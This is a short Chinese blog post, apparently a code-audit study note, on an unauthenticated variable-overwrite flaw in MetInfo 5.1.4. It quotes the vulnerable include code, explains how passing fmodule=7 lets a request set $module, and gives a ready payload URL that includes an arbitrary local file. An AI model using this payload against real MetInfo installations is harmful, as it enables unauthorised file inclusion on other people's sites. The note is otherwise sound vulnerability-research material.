【未授权-变量覆盖】【MetInfo5.1.4】

关键字:

extract() parse_str() importrequestvariables() $$ 等

问题:

../include/module.php会判断$fmodule是否等于7,等于7时$module是写死的,不等于7时$module可以赋值。

$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
require_once $module;

 调试:

传入参数/about/index.php?fmodule=7&module=../test.php,原$fmodule=1,

 继续步入请求/include/module.php,

 此时为传入参数$fmodule=7,$module=../test.php,直接跳过if判断,包含../test.php

 

 

 

思路:

 

1、搜索关键字定位代码段

2、寻找存在变量的文件包含

3、尝试覆盖正常逻辑的变量值

/include/comment.inc.php $$

/about/index.php require_once $module

/include/module.php $fmodule=7 $module

Payload:/about/index.php?fmodule=7&module=../1.txt

posted @ 2023-10-28 12:01  任尔东西南北风  阅读(11)  评论(0)    收藏  举报